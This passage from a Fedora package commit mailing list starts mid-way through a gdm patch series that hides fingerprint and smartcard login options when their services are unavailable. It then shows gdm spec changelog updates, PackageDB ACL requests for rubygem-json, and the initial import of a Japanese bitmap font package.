++        return TRUE;
++}
++
++gboolean
+ gdm_greeter_server_reset (GdmGreeterServer *greeter_server)
+ {
+         send_dbus_void_signal (greeter_server, "Reset");
+diff --git a/daemon/gdm-greeter-server.h b/daemon/gdm-greeter-server.h
+index 976f0b7..c1da2f4 100644
+--- a/daemon/gdm-greeter-server.h
++++ b/daemon/gdm-greeter-server.h
+@@ -93,6 +93,8 @@ gboolean            gdm_greeter_server_info                  (GdmGreeterServer *
+ gboolean            gdm_greeter_server_problem               (GdmGreeterServer *greeter_server,
+                                                               const char       *service_name,
+                                                               const char       *text);
++gboolean            gdm_greeter_server_service_unavailable   (GdmGreeterServer *greeter_server,
++                                                              const char       *service_name);
+ gboolean            gdm_greeter_server_reset                 (GdmGreeterServer *greeter_server);
+ gboolean            gdm_greeter_server_ready                 (GdmGreeterServer *greeter_server,
+                                                               const char       *service_name);
+diff --git a/daemon/gdm-simple-slave.c b/daemon/gdm-simple-slave.c
+index 63ea82c..29d0aee 100644
+--- a/daemon/gdm-simple-slave.c
++++ b/daemon/gdm-simple-slave.c
+@@ -206,6 +206,19 @@ queue_greeter_reset (GdmSimpleSlave *slave)
+ }
+ 
+ static void
++on_session_service_unavailable (GdmSession     *session,
++                                const char     *service_name,
++                                GdmSimpleSlave *slave)
++{
++        if (slave->priv->greeter_server != NULL) {
++                gdm_greeter_server_service_unavailable (slave->priv->greeter_server,
++                                                        service_name);
++        }
++
++        gdm_session_stop_conversation (session, service_name);
++}
++
++static void
+ on_session_setup_complete (GdmSession     *session,
+                            const char     *service_name,
+                            GdmSimpleSlave *slave)
+@@ -677,6 +690,10 @@ create_new_session (GdmSimpleSlave *slave)
+                           G_CALLBACK (on_session_conversation_stopped),
+                           slave);
+         g_signal_connect (slave->priv->session,
++                          "service-unavailable",
++                          G_CALLBACK (on_session_service_unavailable),
++                          slave);
++        g_signal_connect (slave->priv->session,
+                           "setup-complete",
+                           G_CALLBACK (on_session_setup_complete),
+                           slave);
+-- 
+1.6.5.1
+
+
+From ebf9fce3ff13743a65e14a65f6393cfc3cec4e0c Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Wed, 28 Oct 2009 21:46:39 -0400
+Subject: [PATCH 74/81] Catch service-unavailable from server in client and propagate it
+
+---
+ gui/simple-greeter/gdm-greeter-client.c |   20 ++++++++++++++++++++
+ gui/simple-greeter/gdm-greeter-client.h |    2 ++
+ 2 files changed, 22 insertions(+), 0 deletions(-)
+
+diff --git a/gui/simple-greeter/gdm-greeter-client.c b/gui/simple-greeter/gdm-greeter-client.c
+index a9321aa..57126fc 100644
+--- a/gui/simple-greeter/gdm-greeter-client.c
++++ b/gui/simple-greeter/gdm-greeter-client.c
+@@ -63,6 +63,7 @@ enum {
+         PROBLEM,
+         INFO_QUERY,
+         SECRET_INFO_QUERY,
++        SERVICE_UNAVAILABLE,
+         READY,
+         CONVERSATION_STOPPED,
+         RESET,
+@@ -264,6 +265,13 @@ on_problem (GdmGreeterClient *client,
+ }
+ 
+ static void
++on_service_unavailable (GdmGreeterClient *client,
++                        DBusMessage      *message)
++{
++        emit_string_signal_for_message (client, "ServiceUnavailable", message, SERVICE_UNAVAILABLE);
++}
++
++static void
+ on_ready (GdmGreeterClient *client,
+           DBusMessage      *message)
+ {
+@@ -766,6 +774,8 @@ client_dbus_handle_message (DBusConnection *connection,
+                 on_info (client, message);
+         } else if (dbus_message_is_signal (message, GREETER_SERVER_DBUS_INTERFACE, "Problem")) {
+                 on_problem (client, message);
++        } else if (dbus_message_is_signal (message, GREETER_SERVER_DBUS_INTERFACE, "ServiceUnavailable")) {
++                on_service_unavailable (client, message);
+         } else if (dbus_message_is_signal (message, GREETER_SERVER_DBUS_INTERFACE, "Ready")) {
+                 on_ready (client, message);
+         } else if (dbus_message_is_signal (message, GREETER_SERVER_DBUS_INTERFACE, "ConversationStopped")) {
+@@ -999,6 +1009,16 @@ gdm_greeter_client_class_init (GdmGreeterClientClass *klass)
+                               2,
+                               G_TYPE_STRING, G_TYPE_STRING);
+ 
++        gdm_greeter_client_signals[SERVICE_UNAVAILABLE] =
++                g_signal_new ("service-unavailable",
++                              G_OBJECT_CLASS_TYPE (object_class),
++                              G_SIGNAL_RUN_FIRST,
++                              G_STRUCT_OFFSET (GdmGreeterClientClass, service_unavailable),
++                              NULL,
++                              NULL,
++                              g_cclosure_marshal_VOID__STRING,
++                              G_TYPE_NONE, 1, G_TYPE_STRING);
++
+         gdm_greeter_client_signals[READY] =
+                 g_signal_new ("ready",
+                               G_OBJECT_CLASS_TYPE (object_class),
+diff --git a/gui/simple-greeter/gdm-greeter-client.h b/gui/simple-greeter/gdm-greeter-client.h
+index f879307..801bae4 100644
+--- a/gui/simple-greeter/gdm-greeter-client.h
++++ b/gui/simple-greeter/gdm-greeter-client.h
+@@ -59,6 +59,8 @@ typedef struct
+         void (* problem)                 (GdmGreeterClient  *client,
+                                           const char        *service_name,
+                                           const char        *problem);
++        void (* service_unavailable)     (GdmGreeterClient  *client,
++                                          const char        *service_name);
+         void (* ready)                   (GdmGreeterClient  *client,
+                                           const char        *service_name);
+         void (* conversation_stopped)    (GdmGreeterClient  *client,
+-- 
+1.6.5.1
+
+
+From 4e6491ba559c142189a0b17342db780b7a462d6c Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Wed, 28 Oct 2009 22:04:44 -0400
+Subject: [PATCH 75/81] Fix memory handling of task in task list
+
+---
+ gui/simple-greeter/gdm-task-list.c |    5 +++--
+ 1 files changed, 3 insertions(+), 2 deletions(-)
+
+diff --git a/gui/simple-greeter/gdm-task-list.c b/gui/simple-greeter/gdm-task-list.c
+index 162b784..be50832 100644
+--- a/gui/simple-greeter/gdm-task-list.c
++++ b/gui/simple-greeter/gdm-task-list.c
+@@ -203,7 +203,8 @@ gdm_task_list_add_task (GdmTaskList *task_list,
+         gtk_widget_show (button);
+ 
+         gtk_container_add (GTK_CONTAINER (task_list->priv->box), button);
+-        task_list->priv->tasks = g_list_append (task_list->priv->tasks, task);
++        task_list->priv->tasks = g_list_append (task_list->priv->tasks,
++                                                g_object_ref (task));
+ 
+         if (gtk_toggle_button_get_active (GTK_TOGGLE_BUTTON (button))) {
+                 g_signal_emit (task_list, signals[ACTIVATED], 0, task);
+@@ -261,7 +262,7 @@ gdm_task_list_finalize (GObject *object)
+ 
+         widget = GDM_TASK_LIST (object);
+ 
+-        g_list_foreach (widget->priv->tasks, (GFunc) g_free, NULL);
++        g_list_foreach (widget->priv->tasks, (GFunc) g_object_unref, NULL);
+         g_list_free (widget->priv->tasks);
+ 
+         G_OBJECT_CLASS (gdm_task_list_parent_class)->finalize (object);
+-- 
+1.6.5.1
+
+
+From 7a609b6bc2e02c1afe47540dfb3daca37cd48cd1 Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Wed, 28 Oct 2009 22:09:45 -0400
+Subject: [PATCH 76/81] Add gdm_task_list_remove_task
+
+---
+ gui/simple-greeter/gdm-task-list.c |   29 +++++++++++++++++++++++++++++
+ gui/simple-greeter/gdm-task-list.h |    3 +++
+ 2 files changed, 32 insertions(+), 0 deletions(-)
+
+diff --git a/gui/simple-greeter/gdm-task-list.c b/gui/simple-greeter/gdm-task-list.c
+index be50832..dd77ed6 100644
+--- a/gui/simple-greeter/gdm-task-list.c
++++ b/gui/simple-greeter/gdm-task-list.c
+@@ -211,6 +211,35 @@ gdm_task_list_add_task (GdmTaskList *task_list,
+         }
+ }
+ 
++void
++gdm_task_list_remove_task (GdmTaskList *task_list,
++                           GdmTask     *task)
++{
++        GtkWidget *image;
++        GtkWidget *button;
++        GIcon     *icon;
++        char      *description;
++
++        task_list->priv->tasks = g_list_remove (task_list->priv->tasks, task);
++
++        button = g_object_get_data (G_OBJECT (task), "gdm-task-list-button");
++
++        if (button != NULL) {
++            g_signal_handlers_disconnect_by_func (G_OBJECT (task),
++                                                  G_CALLBACK (on_task_enabled),
++                                                  task_list);
++            g_signal_handlers_disconnect_by_func (G_OBJECT (task),
++                                                  G_CALLBACK (on_task_disabled),
++                                                  task_list);
++            gtk_widget_destroy (button);
++            g_object_set_data (G_OBJECT (task), "gdm-task-list-button", NULL);
++        }
++
++        g_object_unref (task);
++
++        activate_first_available_task (task_list);
++}
++
+ static void
+ gdm_task_list_class_init (GdmTaskListClass *klass)
+ {
+diff --git a/gui/simple-greeter/gdm-task-list.h b/gui/simple-greeter/gdm-task-list.h
+index 8bc0c0e..3df5415 100644
+--- a/gui/simple-greeter/gdm-task-list.h
++++ b/gui/simple-greeter/gdm-task-list.h
+@@ -74,6 +74,9 @@ GdmTask *   gdm_task_list_foreach_task (GdmTaskList           *widget,
+ void        gdm_task_list_add_task        (GdmTaskList *widget,
+                                            GdmTask     *task);
+ 
++void        gdm_task_list_remove_task        (GdmTaskList *widget,
++                                              GdmTask     *task);
++
+ int         gdm_task_list_get_number_of_tasks (GdmTaskList *widget);
+ G_END_DECLS
+ 
+-- 
+1.6.5.1
+
+
+From 249388ea72690fe3526ff48797aaf0206d40a49c Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Wed, 28 Oct 2009 21:58:44 -0400
+Subject: [PATCH 77/81] Remove task from task list if unavailable
+
+---
+ gui/simple-greeter/gdm-greeter-login-window.c |   20 ++++++++++++++++++++
+ gui/simple-greeter/gdm-greeter-login-window.h |    3 +++
+ gui/simple-greeter/gdm-greeter-session.c      |   14 ++++++++++++++
+ 3 files changed, 37 insertions(+), 0 deletions(-)
+
+diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
+index 0ec21a3..6a5b77e 100644
+--- a/gui/simple-greeter/gdm-greeter-login-window.c
++++ b/gui/simple-greeter/gdm-greeter-login-window.c
+@@ -872,6 +872,26 @@ gdm_greeter_login_window_problem (GdmGreeterLoginWindow *login_window,
+         return TRUE;
+ }
+ 
++gboolean
++gdm_greeter_login_window_service_unavailable (GdmGreeterLoginWindow *login_window,
++                                              const char            *service_name)
++{
++        GdmTask *task;
++
++        g_return_val_if_fail (GDM_IS_GREETER_LOGIN_WINDOW (login_window), FALSE);
++        g_debug ("GdmGreeterLoginWindow: service unavailable: %s", service_name);
++
++        task = find_task_with_service_name (login_window, service_name);
++
++        if (task != NULL) {
++                gdm_task_list_remove_task (GDM_TASK_LIST (login_window->priv->conversation_list),
++                                           task);
++                g_object_unref (task);
++        }
++
++        return TRUE;
++}
++
+ void
+ gdm_greeter_login_window_request_timed_login (GdmGreeterLoginWindow *login_window,
+                                               const char            *username,
+diff --git a/gui/simple-greeter/gdm-greeter-login-window.h b/gui/simple-greeter/gdm-greeter-login-window.h
+index c312a47..041cbc4 100644
+--- a/gui/simple-greeter/gdm-greeter-login-window.h
++++ b/gui/simple-greeter/gdm-greeter-login-window.h
+@@ -94,6 +94,9 @@ gboolean            gdm_greeter_login_window_problem            (GdmGreeterLogin
+                                                                  const char *service_name,
+                                                                  const char *text);
+ 
++gboolean            gdm_greeter_login_window_service_unavailable (GdmGreeterLoginWindow *login_window,
++                                                                  const char *service_name);
++
+ void               gdm_greeter_login_window_request_timed_login (GdmGreeterLoginWindow *login_window,
+                                                                  const char            *username,
+                                                                  int                    delay);
+diff --git a/gui/simple-greeter/gdm-greeter-session.c b/gui/simple-greeter/gdm-greeter-session.c
+index 848ea1e..3bf24e8 100644
+--- a/gui/simple-greeter/gdm-greeter-session.c
++++ b/gui/simple-greeter/gdm-greeter-session.c
+@@ -90,6 +90,16 @@ on_problem (GdmGreeterClient  *client,
+ }
+ 
+ static void
++on_service_unavailable (GdmGreeterClient  *client,
++                        const char        *service_name,
++                        GdmGreeterSession *session)
++{
++        g_debug ("GdmGreeterSession: Service Unavailable: %s", service_name);
++
++        gdm_greeter_login_window_service_unavailable (GDM_GREETER_LOGIN_WINDOW (session->priv->login_window), service_name);
++}
++
++static void
+ on_ready (GdmGreeterClient  *client,
+           const char        *service_name,
+           GdmGreeterSession *session)
+@@ -670,6 +680,10 @@ gdm_greeter_session_init (GdmGreeterSession *session)
+                           G_CALLBACK (on_problem),
+                           session);
+         g_signal_connect (session->priv->client,
++                          "service-unavailable",
++                          G_CALLBACK (on_service_unavailable),
++                          session);
++        g_signal_connect (session->priv->client,
+                           "ready",
+                           G_CALLBACK (on_ready),
+                           session);
+-- 
+1.6.5.1
+
+
+From 1a44c10dda2b2cdab965cc15db392513aaafd339 Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Wed, 28 Oct 2009 23:55:00 -0400
+Subject: [PATCH 78/81] Don't add task to UI if it's invisible
+
+---
+ gui/simple-greeter/gdm-greeter-login-window.c |   14 +++++++++++---
+ 1 files changed, 11 insertions(+), 3 deletions(-)
+
+diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
+index 6a5b77e..9280d76 100644
+--- a/gui/simple-greeter/gdm-greeter-login-window.c
++++ b/gui/simple-greeter/gdm-greeter-login-window.c
+@@ -2141,6 +2141,17 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
+ 
+         g_object_unref (actions);
+ 
++        name = gdm_task_get_name (GDM_TASK (extension));
++        description = gdm_task_get_description (GDM_TASK (extension));
++
++        if (!gdm_task_is_visible (GDM_TASK (extension))) {
++                g_debug ("GdmGreeterLoginWindow: new extension '%s - %s' won't be added",
++                         name, description);
++                g_free (name);
++                g_free (description);
++                return;
++        }
++
+         g_signal_connect_swapped (GDM_CONVERSATION (extension),
+                                   "answer",
+                                   G_CALLBACK (on_conversation_answer),
+@@ -2154,9 +2165,6 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
+                                   G_CALLBACK (on_conversation_chose_user),
+                                   login_window);
+ 
+-        name = gdm_task_get_name (GDM_TASK (extension));
+-        description = gdm_task_get_description (GDM_TASK (extension));
+-
+         g_debug ("GdmGreeterLoginWindow: new extension '%s - %s' added",
+                 name, description);
+ 
+-- 
+1.6.5.1
+
+
+From 8bcb4b752b8d8efb62f9d4560de8076fbf2ed4bb Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Thu, 29 Oct 2009 00:39:20 -0400
+Subject: [PATCH 79/81] add lame check to see if fingerprint is enabled
+
+---
+ .../fingerprint/gdm-fingerprint-extension.c        |   35 +++++++++++++++++++-
+ 1 files changed, 34 insertions(+), 1 deletions(-)
+
+diff --git a/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.c b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.c
+index e1fc0ed..b749ac1 100644
+--- a/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.c
++++ b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.c
+@@ -197,7 +197,40 @@ gdm_fingerprint_extension_is_choosable (GdmTask *task)
+ gboolean
+ gdm_fingerprint_extension_is_visible (GdmTask *task)
+ {
+-        return TRUE;
++        char *contents, **lines;
++        gboolean ret;
++        guint i;
++
++        /* Stolen from gnome-about-me.
++         *
++         * FIXME: We should fix pam_fprintd to return authinfo_unavail instead of
++         * doing this distro specific hack.
++         */
++
++        if (g_file_get_contents ("/etc/sysconfig/authconfig",
++                                 &contents, NULL, NULL) == FALSE)
++                return FALSE;
++
++        lines = g_strsplit (contents, "\n", -1);
++        g_free (contents);
++
++        ret = FALSE;
++
++        for (i = 0; lines[i] ; i++) {
++                if (g_str_has_prefix (lines[i], "USEFPRINTD=") != FALSE) {
++                        char *value;
++
++                        value = lines[i] + strlen ("USEFPRINTD=");
++                        if (g_strcmp0 (value, "yes") == 0) {
++                                ret = TRUE;
++                                break;
++                        }
++                }
++        }
++
++        g_strfreev (lines);
++
++        return ret;
+ }
+ 
+ static void
+-- 
+1.6.5.1
+
+
+From f289a1f28d2000c00a35efa164cd207793be1b9f Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Thu, 29 Oct 2009 00:10:40 -0400
+Subject: [PATCH 80/81] don't activate invisible tasks
+
+---
+ gui/simple-greeter/gdm-task-list.c |    4 ++++
+ 1 files changed, 4 insertions(+), 0 deletions(-)
+
+diff --git a/gui/simple-greeter/gdm-task-list.c b/gui/simple-greeter/gdm-task-list.c
+index dd77ed6..c9d7451 100644
+--- a/gui/simple-greeter/gdm-task-list.c
++++ b/gui/simple-greeter/gdm-task-list.c
+@@ -335,6 +335,10 @@ gdm_task_list_set_active_task (GdmTaskList *widget,
+         gboolean   was_sensitive;
+         gboolean   was_activated;
+ 
++        if (!gdm_task_is_visible (task)) {
++                return FALSE;
++        }
++
+         was_sensitive = GTK_WIDGET_SENSITIVE (widget);
+         gtk_widget_set_sensitive (GTK_WIDGET (widget), TRUE);
+ 
+-- 
+1.6.5.1
+
+
+From 8144b99a3ab9511d85ff6169ca9612c350010612 Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Thu, 29 Oct 2009 00:46:34 -0400
+Subject: [PATCH 81/81] Add lame check for smart card daemon
+
+We don't want to show the smart card bits if the daemon isn't running
+
+This is just a temporary hack.  We need a better solution.
+---
+ .../plugins/smartcard/gdm-smartcard-extension.c    |   18 +++++++++++++++++-
+ 1 files changed, 17 insertions(+), 1 deletions(-)
+
+diff --git a/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c
+index 9967d5f..903e18d 100644
+--- a/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c
++++ b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c
+@@ -27,6 +27,7 @@
+ #include <errno.h>
+ #include <fcntl.h>
+ #include <stdio.h>
++#include <stdlib.h>
+ #include <sys/types.h>
+ #include <unistd.h>
+ 
+@@ -312,7 +313,22 @@ gdm_smartcard_extension_is_choosable (GdmTask *task)
+ gboolean
+ gdm_smartcard_extension_is_visible (GdmTask *task)
+ {
+-        return TRUE;
++        char *contents;
++        pid_t pid;
++
++        if (g_file_get_contents ("/var/run/pcscd.pid",
++                                 &contents, NULL, NULL) == FALSE) {
++                return FALSE;
++        }
++
++        pid = (pid_t) atoi (contents);
++        g_free (contents);
++
++        if (pid == 0) {
++                return FALSE;
++        }
++
++        return kill (pid, 0);
+ }
+ 
+ static void
+-- 
+1.6.5.1
+


Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.511
retrieving revision 1.512
diff -u -p -r1.511 -r1.512
--- gdm.spec	28 Oct 2009 17:59:42 -0000	1.511
+++ gdm.spec	29 Oct 2009 04:58:08 -0000	1.512
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.28.1
-Release: 14%{?dist}
+Release: 15%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -413,6 +413,12 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
+* Thu Oct 29 2009 Ray Strode <rstrode at redhat.com> 2.28.1-15
+- Don't show fingerprint task button unless fingerprint is
+  enabled
+- Don't show smartcard task button and list item unless
+  pcscd is running.
+
 * Wed Oct 28 2009 Ray Strode <rstrode at redhat.com> 2.28.1-14
 - Don't show image on login button
 



From rstrode at fedoraproject.org  Thu Oct 29 05:11:07 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Thu, 29 Oct 2009 05:11:07 +0000 (UTC)
Subject: rpms/gdm/F-12 fix-timer.patch,1.1,1.2 gdm.spec,1.512,1.513
Message-ID: <20091029051107.F19B011C008B@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13721

Modified Files:
	fix-timer.patch gdm.spec 
Log Message:
- Shrink autologin timer
- Make language dialog not double spaced


fix-timer.patch:
 b/gui/simple-greeter/gdm-cell-renderer-timer.c |   13 ++-----------
 gui/simple-greeter/gdm-cell-renderer-timer.c   |    2 --
 2 files changed, 2 insertions(+), 13 deletions(-)

Index: fix-timer.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/fix-timer.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- fix-timer.patch	23 Oct 2009 02:27:30 -0000	1.1
+++ fix-timer.patch	29 Oct 2009 05:11:07 -0000	1.2
@@ -22,7 +22,7 @@ index 7918b48..9453d7e 100644
 -                } else {
 -                        *width = renderer->priv->value <= G_MINDOUBLE?  0 : 64;
 -                }
-+                *width = cell->xpad * 2 + 42;
++                *width = cell->xpad * 2 + 24;
          }
  
          if (height != NULL) {
@@ -31,7 +31,7 @@ index 7918b48..9453d7e 100644
 -                } else {
 -                        *height = renderer->priv->value <= G_MINDOUBLE?  0 : 64;
 -                }
-+                *height = cell->ypad * 2 + 42;
++                *height = cell->ypad * 2 + 24;
          }
  }
  


Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.512
retrieving revision 1.513
diff -u -p -r1.512 -r1.513
--- gdm.spec	29 Oct 2009 04:58:08 -0000	1.512
+++ gdm.spec	29 Oct 2009 05:11:07 -0000	1.513
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.28.1
-Release: 15%{?dist}
+Release: 16%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -413,6 +413,10 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
+* Thu Oct 29 2009 Ray Strode <rstrode at redhat.com> 2.28.1-16
+- Shrink autologin timer
+- Make language dialog not double spaced
+
 * Thu Oct 29 2009 Ray Strode <rstrode at redhat.com> 2.28.1-15
 - Don't show fingerprint task button unless fingerprint is
   enabled



From pkgdb at fedoraproject.org  Thu Oct 29 05:26:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 05:26:48 +0000
Subject: [pkgdb] rubygem-json: mkent has requested watchcommits
Message-ID: <20091029052648.1491A10F86E@bastion2.fedora.phx.redhat.com>

mkent has requested the watchcommits acl on rubygem-json (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-json



From pkgdb at fedoraproject.org  Thu Oct 29 05:26:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 05:26:48 +0000
Subject: [pkgdb] rubygem-json: mkent has requested watchbugzilla
Message-ID: <20091029052649.0C49310F87F@bastion2.fedora.phx.redhat.com>

mkent has requested the watchbugzilla acl on rubygem-json (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-json



From pkgdb at fedoraproject.org  Thu Oct 29 05:26:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 05:26:52 +0000
Subject: [pkgdb] rubygem-json: mkent has requested commit
Message-ID: <20091029052652.252DD10F86E@bastion2.fedora.phx.redhat.com>

mkent has requested the commit acl on rubygem-json (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-json



From pkgdb at fedoraproject.org  Thu Oct 29 05:28:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 05:28:36 +0000
Subject: [pkgdb] rubygem-json: mkent has requested watchcommits
Message-ID: <20091029052836.BC4F310F86E@bastion2.fedora.phx.redhat.com>

mkent has requested the watchcommits acl on rubygem-json (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-json



From pkgdb at fedoraproject.org  Thu Oct 29 05:28:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 05:28:37 +0000
Subject: [pkgdb] rubygem-json: mkent has requested commit
Message-ID: <20091029052837.97FA910F880@bastion2.fedora.phx.redhat.com>

mkent has requested the commit acl on rubygem-json (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-json



From pkgdb at fedoraproject.org  Thu Oct 29 05:28:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 05:28:47 +0000
Subject: [pkgdb] rubygem-json: mkent has requested watchbugzilla
Message-ID: <20091029052847.EA47210F871@bastion2.fedora.phx.redhat.com>

mkent has requested the watchbugzilla acl on rubygem-json (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-json



From pkgdb at fedoraproject.org  Thu Oct 29 05:28:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 05:28:58 +0000
Subject: [pkgdb] rubygem-json: mkent has requested watchbugzilla
Message-ID: <20091029052858.A713F10F871@bastion2.fedora.phx.redhat.com>

mkent has requested the watchbugzilla acl on rubygem-json (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-json



From pkgdb at fedoraproject.org  Thu Oct 29 05:28:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 05:28:59 +0000
Subject: [pkgdb] rubygem-json: mkent has requested watchcommits
Message-ID: <20091029052859.4DC3910F880@bastion2.fedora.phx.redhat.com>

mkent has requested the watchcommits acl on rubygem-json (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-json



From pkgdb at fedoraproject.org  Thu Oct 29 05:29:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 05:29:00 +0000
Subject: [pkgdb] rubygem-json: mkent has requested commit
Message-ID: <20091029052901.0029410F89A@bastion2.fedora.phx.redhat.com>

mkent has requested the commit acl on rubygem-json (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-json



From tagoh at fedoraproject.org  Thu Oct 29 06:03:12 2009
From: tagoh at fedoraproject.org (Akira TAGOH)
Date: Thu, 29 Oct 2009 06:03:12 +0000 (UTC)
Subject: rpms/knm-new-fixed-fonts/devel import.log, NONE,
	1.1 knm-new-fixed-fonts-fontconfig.conf, NONE,
	1.1 knm-new-fixed-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091029060312.4FB0111C0265@cvs1.fedora.phx.redhat.com>

Author: tagoh

Update of /cvs/pkgs/rpms/knm-new-fixed-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25094/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log knm-new-fixed-fonts-fontconfig.conf 
	knm-new-fixed-fonts.spec 
Log Message:
initial import



--- NEW FILE import.log ---
knm-new-fixed-fonts-1_1-8_fc13:HEAD:knm-new-fixed-fonts-1.1-8.fc13.src.rpm:1256794568


--- NEW FILE knm-new-fixed-fonts-fontconfig.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "../fonts.dtd">
<fontconfig>
  <match>
    <test name="lang">
      <string>ja-jp</string>
    </test>
    <test name="family">
      <string>monospace</string>
    </test>
    <edit name="family" mode="prepend" binding="same">
      <string>Fixed</string>
    </edit>
  </match>
  <alias>
    <family>Fixed</family>
    <default>
      <family>monospace</family>
    </default>
  </alias>
</fontconfig>



--- NEW FILE knm-new-fixed-fonts.spec ---
%global		priority	69
%global		fontname	knm-new-fixed
%global		fontconf	%{priority}-%{fontname}.conf
%global		catalogue	%{_sysconfdir}/X11/fontpath.d

Name:		%{fontname}-fonts
Version:	1.1
Release:	8%{?dist}

Summary:	12x12 JIS X 0208 Bitmap fonts
Group:		User Interface/X
License:	GPL+

## the following upstream URL is a dead link anymore.
#URL:		http://www.din.or.jp/~storm/fonts/
#Source0:	http://www.din.or.jp/~storm/fonts/knm_new.tar.gz
Source0:	knm_new.tar.gz
Source1:	%{name}-fontconfig.conf
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:	noarch
BuildRequires:	mkfontdir fontpackages-devel

Requires:	fontpackages-filesystem
Conflicts:	fonts-japanese <= 0.20061016-11.fc8
Obsoletes:	knm_new <= 1.1-16 knm_new-fonts < 1.1-7

%description
This package provides 12x12 Japanese bitmap fonts for JIS X 0208.
The JIS X 0208 character set contains the most often used Kanji glyphs.


%prep
%setup -q -T -c -a 0

%build

%install
rm -rf $RPM_BUILD_ROOT

install -m 0755 -d $RPM_BUILD_ROOT%{_fontdir}
install -m 0755 -d $RPM_BUILD_ROOT%{catalogue}

install -m 0644 -p fonts/*.pcf.gz $RPM_BUILD_ROOT%{_fontdir}/

install -m 0755 -d	$RPM_BUILD_ROOT%{_fontconfig_templatedir}	\
			$RPM_BUILD_ROOT%{_fontconfig_confdir}
install -m 0644 -p	%{SOURCE1}	\
			$RPM_BUILD_ROOT%{_fontconfig_templatedir}/%{fontconf}

ln -s	%{_fontconfig_templatedir}/%{fontconf}	\
	$RPM_BUILD_ROOT%{_fontconfig_confdir}/%{fontconf}

mkfontdir $RPM_BUILD_ROOT%{_fontdir}

# Install catalogue symlink
ln -s -f %{_fontdir} $RPM_BUILD_ROOT%{catalogue}/%{fontname}


%clean
rm -rf $RPM_BUILD_ROOT

%_font_pkg -f %{fontconf} *.pcf.gz

%lang(ja) %doc fonts/readme fonts/changes
%doc fonts/gtkrc.sample
%verify(not md5 size mtime) %{_fontdir}/fonts.dir
%{catalogue}/*


%changelog
* Tue Oct 20 2009 Akira TAGOH <tagoh at redhat.com> - 1.1-8
- Improve the spec file etc to pass the package review.

* Tue Oct 13 2009 Akira TAGOH <tagoh at redhat.com> - 1.1-7
- Renaming to satisfy the naming schema in the fontpackages policy.

